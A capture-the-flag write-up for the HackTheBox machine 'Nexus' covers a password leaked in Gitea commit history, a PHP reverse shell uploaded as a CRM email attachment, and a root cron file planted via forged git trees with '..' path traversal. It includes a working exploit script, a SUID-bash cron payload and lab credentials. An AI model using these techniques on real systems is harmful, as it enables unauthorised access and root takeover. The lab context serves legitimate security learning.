resux_

FILE 010 · Privilege escalation

Nexus

A password scrubbed from .env survives in Gitea's commit history, Krayin's email composer stores an attachment the web server will execute, and a root sync timer trusts filenames that come out of a git tree.

Platform
HTB
Surface
Linux
State
Open

OS: Linux · Difficulty: Easy

Nexus is a box about things that were deleted but not gone. A credential is scrubbed out of a .env and stays in the commit that removed it. A CRM’s email composer treats an attachment as a file to store, and the web server underneath treats the same file as a file to run. And a sync script that copies files out of Gitea trusts the filenames git hands it, which holds right up until someone builds a tree object that git itself would refuse to write.

Reconnaissance

Nmap Scan

# kali
nmap -sC -sV 10.129.47.59
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two ports. OpenSSH 9.6p1 and nginx 1.24.0 are both stock Ubuntu 24.04 and neither is the way in, so the web service is the whole attack surface. The useful line is the redirect: nginx will not serve on the IP and wants a hostname instead, which means name-based virtual hosting, which means there is probably more than one name.

# kali
echo "10.129.47.59 nexus.htb" | sudo tee -a /etc/hosts

Web Enumeration

The site is a corporate front page. The careers section is the only part that volunteers anything:

Ready to apply?

Send your CV and a short cover note with the subject line “Operations Specialist – Customer Platforms”. Apply at careers@nexus.htb

Questions? Reach out to our hiring manager: j.matthew@nexus.htb

careers@ is a role address and worth nothing. j.matthew@ is a person, in firstinitial.lastname form, which is a username in every system on this box.

Vhost Discovery

# kali
ffuf -H "Host: FUZZ.nexus.htb" -u http://nexus.htb \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
git                     [Status: 200, Size: 14472, Words: 1195, Lines: 242]
billing                 [Status: 302, Size: 390, Words: 60, Lines: 12]
# kali
echo "10.129.47.59 git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

git. is a Gitea instance that allows anonymous browsing. billing. redirects to a login page for Krayin CRM 2.2.0.

Initial Foothold: a credential the commit history kept

Gitea hosts one public repository, admin/krayin-docker-setup. It holds a docker-compose.yml and a .env, and the .env at HEAD has had its credentials stripped out. That is the only interesting thing about it, because a repository is a history and not a snapshot. Commit 9b817fa is the one that put them there:

DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=N27xh!!2ucY04

Removing a secret in a later commit does not remove it from the repository, it just moves it one click away, and Gitea renders the diff for anyone who asks.

That password does not open the database from outside, but it opens the CRM. j.matthew from the careers page, plus the password from the commit, is a valid Krayin login:

j.matthew@nexus.htb : N27xh!!2ucY04

The dead end first

Krayin 2.2.0 sits inside the window for CVE-2026-38526, and the public proof of concept looked like the intended path. It never worked here: the upload half of the exploit completes and the retrieval half always comes back empty, so the file goes somewhere I could not then reach. I spent long enough on it to be sure the problem was the exploit’s assumption about where the file lands, not the upload itself, which is what pointed at the feature that does tell you.

The feature that tells you where the file went

Krayin’s mail composer lets an authenticated user attach a file to an outgoing email. The attachment is stored, and the JSON response to the send request contains its storage path. That is the whole foothold: the file is stored under the web root, PHP is what serves the web root, and nothing is checking what kind of file it is.

Attach pentestmonkey’s php-reverse-shell.php, send the mail through Burp, and read the path out of the response:

http:\/\/billing.nexus.htb\/storage\/emails\/2\/php-reverse-shell.php
# kali
penelope -i tun0 -p 1338

Browsing to that path executes it.

# target
id
# => uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral Movement: www-data -> jones

The deployed application keeps its live configuration in cleartext, in the file whose sanitised twin is on Gitea:

# target
cat /var/www/krayin/.env
# => DB_USERNAME=krayin
# => DB_PASSWORD=y27xb3ha!!74GbR

This is not the password from the commit history. That one was rotated at some point, and the rotation is why the box works: the old value stayed valid as j.matthew’s application login, and the new value is sitting here in a file www-data can read.

The database itself holds nothing worth having, so the password is only useful if somebody reused it. Somebody did:

# kali
ssh jones@nexus.htb
# target
cat /home/jones/user.txt

Privilege Escalation: jones -> root

Nothing in sudo -l, no interesting SUID. The box is doing something on a schedule though, which pspy catches and no crontab I can read mentions:

# target
./pspy64
# => 2026/07/27 15:07:35 CMD: UID=111  PID=1447  | /usr/local/bin/gitea web --config /etc/gitea/app.ini
# target
systemctl list-timers --all | grep -i template
# => gitea-template-sync.timer   60s

The timer runs /etc/gitea/template-sync.py as root, once a minute. It is readable:

# target - /etc/gitea/template-sync.py, abridged
STAGING_DIR = "/home/git/template-staging"

def sync_template(repo_info):
    owner = repo_info['owner']['login']
    name = repo_info['name'].lower()
    bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
    stage_path = os.path.join(STAGING_DIR, owner, name)

    GIT = ['git', '-c', 'safe.directory=*']
    result = subprocess.run(GIT + ['ls-tree', '-r', 'HEAD'],
                            cwd=bare_path, capture_output=True, text=True, timeout=10)
    # ... splits each line into (mode, objtype, objhash) and filepath

    for mode, objhash, filepath in entries:
        target = os.path.join(stage_path, filepath)
        target_dir = os.path.dirname(target)

        os.makedirs(target_dir, exist_ok=True)
        cat_result = subprocess.run(GIT + ['cat-file', 'blob', objhash],
                                    cwd=bare_path, capture_output=True, timeout=10)
        with open(target, 'wb') as f:
            f.write(cat_result.stdout)

        if mode == '100755':
            os.chmod(target, 0o755)
        else:
            os.chmod(target, 0o644)

It asks the Gitea API for every repository flagged as a template, and for each one it copies the files out of the bare repo into a staging directory. Any user can create a repository and tick that flag, so the input is mine.

The bug is os.path.join(stage_path, filepath). os.path.join discards the prefix only when the second argument is absolute; a relative path made of .. components is simply appended, and os.makedirs and open() then resolve it against the real filesystem. filepath comes straight out of git ls-tree -r HEAD, and it is never checked.

Why this is not just “put ../ in a filename”

Git will not let you build that tree with ordinary commands. .. is not a legal tree entry name and git fsck reports it. But that rule lives in the tools that construct trees, not in the object format, and git hash-object --literally writes whatever bytes it is given. Pushing the result works because receive.fsckObjects is off by default, so the server stores the objects without re-validating them.

stage_path is /home/git/template-staging/<owner>/<repo>, five levels below /, so the entry needs five .. components in front of etc/cron.d/. And the script chmods 0755 only for blob mode 100755, everything else 0644, which is what /etc/cron.d requires anyway: cron ignores a file there that is group or world writable.

# kali - craft.py
#!/usr/bin/env python3
import subprocess, binascii

def obj(t, data):
    p = subprocess.run(['git','hash-object','-w','-t',t,'--literally','--stdin'],
                       input=data, capture_output=True, check=True)
    return p.stdout.decode().strip()

def tree(entries):                      # (mode, name, hexsha)
    b = b''
    for m, n, h in entries:
        b += m.encode() + b' ' + n.encode() + b'\x00' + binascii.unhexlify(h)
    return obj('tree', b)

payload = b"* * * * * root chmod 4755 /bin/bash\n"
blob = obj('blob', payload)

# cron.d files must be 0644 -> mode 100644
t = tree([('100644', 'rootbash', blob)])
t = tree([('40000',  'cron.d',   t)])
t = tree([('40000',  'etc',      t)])
for _ in range(5):                      # escape staging to /
    t = tree([('40000', '..', t)])

c = subprocess.run(['git','commit-tree', t, '-m', 'x'],
                   capture_output=True, check=True).stdout.decode().strip()
subprocess.run(['git','update-ref','refs/heads/main', c], check=True)
print(c)

Build it in a bare repo and confirm the path survived ls-tree, because that string is the entire exploit:

# kali
git init --bare /tmp/gimmebash
cd /tmp/gimmebash
python3 /tmp/craft.py

git ls-tree -r main
# => 100644 blob <sha>    ../../../../../etc/cron.d/rootbash

git symbolic-ref HEAD refs/heads/main

Create an empty repository bashed under jones in the Gitea web UI, then push over it. The Gitea password is the same reused one:

# kali
git push http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/bashed.git main --force

Then tick Make repository a template in http://git.nexus.htb/jones/bashed/settings. Nothing happens until that flag is set, because it is what the API query filters on.

Within a minute the timer fires, os.makedirs walks the .. chain out of the staging directory, and the blob lands in /etc/cron.d/rootbash mode 0644. Cron picks it up on the next minute.

# target
watch -n 3 'ls -la /etc/cron.d/rootbash 2>/dev/null; ls -la /bin/bash; tail -3 /var/log/template-sync.log'

ls -la /bin/bash
# => -rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

/bin/bash -p
# => bash-5.2# whoami
# => root

The sync log is world readable, which makes this pleasant to debug: every filename it writes is logged, so a tree that did not traverse tells you so immediately.

Flags

FlagHash
User<redacted>
Root<redacted>

Attack Path Summary

careers page leaks j.matthew@nexus.htb
  → ffuf vhosts → git.nexus.htb (Gitea), billing.nexus.htb (Krayin 2.2.0)
    → public repo admin/krayin-docker-setup, .env clean at HEAD
      → commit 9b817fa still holds DB_PASSWORD → reused as j.matthew's CRM login
        → mail composer stores an attachment under the web root and returns its path
          → php-reverse-shell.php → www-data
            → /var/www/krayin/.env holds the rotated password in cleartext
              → reused as a system password → ssh jones → user.txt
                → gitea-template-sync.timer, root, every 60s
                  → os.path.join(stage_path, filepath) with filepath from git ls-tree
                    → git hash-object --literally builds a tree with '..' entries
                      → push, mark repo as template
                        → writes /etc/cron.d/rootbash → chmod 4755 /bin/bash
                          → bash -p → root.txt